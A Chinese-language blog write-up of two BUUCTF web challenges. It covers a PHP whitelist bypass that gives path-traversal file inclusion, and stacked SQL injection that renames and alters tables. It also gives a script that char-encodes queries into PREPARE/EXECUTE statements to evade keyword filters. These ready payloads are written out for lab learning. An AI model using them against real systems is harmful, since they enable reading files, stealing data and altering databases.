BUUCTF web(一)
前言:最近參加了一場CTF比賽,菜的一批,接下來多練習web題、MISC、密碼學,多思考,提高一下自己做題的思路,以及代碼審計、編寫腳本的能力。
[HCTF 2018]WarmUp
查看源碼,發現<!--source.php-->,打開發現源碼
<?phphighlight_file(__FILE__);if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";} //這里我換了下位置,方便自己看class emmm{public static function checkFile(&$page){#flag not here, and flag in ffffllllaaaagggg$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {//is_string() 函數用于檢測變量是否是字符串echo "you can't see it";return false;}if (in_array($page, $whitelist)) {//in_array() 函數搜索數組中是否存在指定的值return true;}//mb_substr() 函數返回字符串的一部分$_page = mb_substr($page,0,mb_strpos($page . '?', '?')//mb_strpos — 查找字符串在另一個字符串中首次出現的位置);if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}} ?>觀察源碼發現hint.php,打開發現flag not here, and flag in ffffllllaaaagggg,觀察到如果滿足相應的條件,最后是include引入文件,所以這個信息很有用。我們只需使emmm::checkFile($_REQUEST['file']返回值為true,利用../跳轉目錄讀取flag即可
觀察checkFile函數,幾個if語句并列,只要我們滿足其中一個true,即有返回值,便不需要往下繼續執行了
第一個截取的代碼就是關鍵點,代碼要求輸入的必須擁有白名單中的內容,我們直接可以在第一次截取時匹配到白名單的內容,接下來一匹配即可返回true
$_page = mb_substr($page,0,mb_strpos($page . '?', '?')//mb_strpos — 查找字符串在另一個字符串中首次出現的位置);if (in_array($_page, $whitelist)) {return true;}現在假設我的payload為:file=source.php?/../ffffllllaaaagggg,經過mb_strpos為source.php?/../ffffllllaaaagggg?,但是mb_strpos這個函數只返回首次出現的位置,所以還是會返回第一個?的位置,而mb_substr截取函數,從0開始截取一直到第一個?的位置,截取內容為source.php,恰好能與白名單中的進行匹配,可以return true;,所以通過第一次截取進行繞過
接下來利用/使source.php?成為一個不存在的目錄,最后include利用../跳轉目錄讀取flag即可
payload:
?file=source.php?/../../../../../ffffllllaaaagggg(小白一個,所以內容會有些啰嗦)
二、[強網杯 2019]隨便注
注入題,發現是回顯注入,在測試過程中,發現
很多重要的關鍵字都被過濾了,這里剛開始真的不知道應該如何繞過,看了大師傅的write up,發現可以使用堆疊注入,那就來嘗試一波
在此之前那,已經測試出'為閉合符號,那就來查詢數據庫、數據表
數據庫
1';show databases;#
數據表
再分別查詢1919810931114514表和words表
查詢words表時,發現有id列,我們隨便輸入數字時,會回顯出對應內容,所以回顯內容肯定是從word這張表中回顯的
再查詢1919810931114514表
MYSQL中的符號
但是到這里就會出現問題,雖然我們已經得到了flag了,但是select被過濾了,而show命令又不能查看值。這就比較頭疼了,不過如果仔細觀察的話,一開始過濾的并沒有alert 和 rename,我們已經知道了words是用來回顯內容的,能不能我們把1919810931114514這個表更改名字為words,并增加相應的字段,使之回顯原1919810931114514這個表的內容那,當然是可以的,這種思路。。。大師傅tql
payload:
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;show columns from words;#用1' or '1'='1訪問一下,便可以發現flag
堆疊注入原理
Stacked injections(堆疊注入),從字母意思便可以看出應該是多條sql 語句一起執行。在MYSQL命令框中,常以;作為結束符,那我們是否可以在一句SQL語句結束后再緊跟一句SQL語句,那接下來就來查看一下吧!
我的測試環境為PHP5.2+Mysql,在命令框中同時輸入三個命令,發現
mysql> show databases;use web1;select 1,2,3; +--------------------+ | Database | +--------------------+ | information_schema | | BWVS | | bbs | | challenges | | dvwa | | mysql | | performance_schema | | security | | test | | web1 | +--------------------+ 10 rows in set (0.00 sec)Database changed +---+---+---+ | 1 | 2 | 3 | +---+---+---+ | 1 | 2 | 3 | +---+---+---+ 1 row in set (0.00 sec)確實可以,知道這種方法,可以在select等重要關鍵字被過濾時考慮使用,但這種方法也是有局限性的:
并不是每一個環境下都可以執行,可能受到API或者數據庫引擎不支持的限制,當然了權限不足也可以解釋為什么攻擊者無法修改數據或者調用一些程序
第二種方法——MySQL的SQL預處理
在絕大多數情況下,如果需求某一條 SQL 語句可能會被反復調用執行,或者每次執行的時候只有個別的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要經過上面的詞法語義解析、語句優化、制定執行計劃等,則如果使用一般的SQL語句會降低效率。
所謂預編譯語句就是將此類 SQL 語句中的值用占位符替代,可以視為將 SQL 語句模板化或者說參數化,一般稱這類語句叫Prepared Statements。
我們目前普遍使用的 MySQL 版本都是支持這一語法:
# 定義預處理語句 PREPARE stmt_name FROM preparable_stmt; # 執行預處理語句 EXECUTE stmt_name [USING @var_name [, @var_name] ...]; # 刪除(釋放)定義 {DEALLOCATE | DROP} PREPARE stmt_name;利用變量定義預處理 SQL
mysql> SET @s = 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse'; Query OK, 0 rows affected (0.00 sec)mysql> PREPARE stmt2 FROM @s; Query OK, 0 rows affected (0.18 sec) Statement preparedmysql> SET @a = 6; Query OK, 0 rows affected (0.00 sec)mysql> SET @b = 8; Query OK, 0 rows affected (0.00 sec)mysql> EXECUTE stmt2 USING @a, @b; +------------+ | hypotenuse | +------------+ | 10 | +------------+ 1 row in set (0.19 sec)mysql> DEALLOCATE PREPARE stmt2; Query OK, 0 rows affected (0.00 sec)這種方法也可以繞過一些關鍵字的檢查,看了一篇大師傅用這種方法繞過關鍵字的檢查,tql
通過上面的簡單介紹,應該會對SQL預處理語句多少有一些了解了,下面就來做這道題。
字符串轉換函數 Ascii(‘x’)或 Char(‘x’)函數可以bypass,如果一些waf過濾不嚴的話
大師傅的腳本
payload = "0';set @s=concat(%s);PREPARE a FROM @s;EXECUTE a;" #exp = 'select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()' #exp = "select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='1919810931114514'" exp = "select flag from `1919810931114514`" res = '' for i in exp:res += "char(%s),"%(ord(i)) my_payload = payload%(res[:-1]) print(my_payload)仔細觀察代碼,發現是真的巧妙,將exp中的字符一個一個修改成char(’x‘)函數格式進行繞過關鍵字,然后那再總結到一起賦給payload,payload中有預處理語句,再通過預處理語句執行,真的強
0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(102),char(108),char(97),char(103),char(32),char(102),char(114),char(111),char(109),char(32),char(96),char(49),char(57),char(49),char(57),char(56),char(49),char(48),char(57),char(51),char(49),char(49),char(49),char(52),char(53),char(49),char(52),char(96));PREPARE a FROM @s;EXECUTE a;得到flag
參考博客:
2019強網杯Web部分Writeup
通過這兩道題,真的學習到了不少知識,自己還是太菜,繼續做!!!
總結
以上是生活随笔為你收集整理的BUUCTF web(一)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Jarvis OJ web(一)
- 下一篇: 通过sql-labs进行sql注入学习(